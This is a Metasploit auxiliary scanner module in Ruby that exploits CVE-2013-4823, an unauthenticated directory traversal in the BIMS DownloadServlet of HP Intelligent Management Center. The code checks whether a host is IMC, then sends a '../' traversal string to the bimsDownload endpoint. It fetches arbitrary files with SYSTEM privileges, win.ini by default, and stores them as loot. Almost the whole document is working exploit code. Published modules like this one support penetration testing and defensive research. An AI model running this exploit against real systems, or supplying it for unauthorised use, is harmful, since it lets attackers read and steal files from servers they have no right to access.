HP Intelligent Management BIMS DownloadServlet Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Intelligent Management BIMS DownloadServlet Directory Traversal',
      'Description'    => %q{
          This module exploits a lack of authentication and a directory traversal in HP
        Intelligent Management, specifically in the DownloadServlet from the BIMS component,
        in order to retrieve arbitrary files with SYSTEM privileges. This module has been
        tested successfully on HP Intelligent Management Center 5.1 E0202 with BIMS 5.1 E0201
        over Windows 2003 SP2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-4823' ],
          [ 'OSVDB', '98248' ],
          [ 'BID', '62897' ],
          [ 'ZDI', '13-239' ]
        ]
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
        OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
        # By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\
        OptInt.new('DEPTH', [true, 'Traversal depth', 6])
      ])
  end

  def is_imc?
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path.to_s, "login.jsf"),
      'method'   => 'GET'
    })

    if res and res.code == 200 and res.body =~ /HP Intelligent Management Center/
      return true
    else
      return false
    end
  end

  def my_basename(filename)
    return ::File.basename(filename.gsub(/\\/, "/"))
  end

  def run_host(ip)

    if not is_imc?
      vprint_error("#{rhost}:#{rport} - This isn't a HP Intelligent Management Center")
      return
    end

    travs = ""
    travs << "../" * datastore['DEPTH']
    travs << datastore['FILEPATH']

    vprint_status("#{rhost}:#{rport} - Sending request...")
    res = send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, "bimsDownload"),
      'method'       => 'GET',
      'vars_get'     =>
        {
          'fileName' => travs,
          'path'     => "/"
        }
    })

    if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] == "application/doc"
      contents = res.body
      fname = my_basename(datastore['FILEPATH'])
      path = store_loot(
        'hp.imc.bimsdownloadservlet',
        'application/octet-stream',
        ip,
        contents,
        fname
      )
      print_good("#{rhost}:#{rport} - File saved in: #{path}")
    else
      vprint_error("#{rhost}:#{rport} - Failed to retrieve file")
      return
    end
  end
end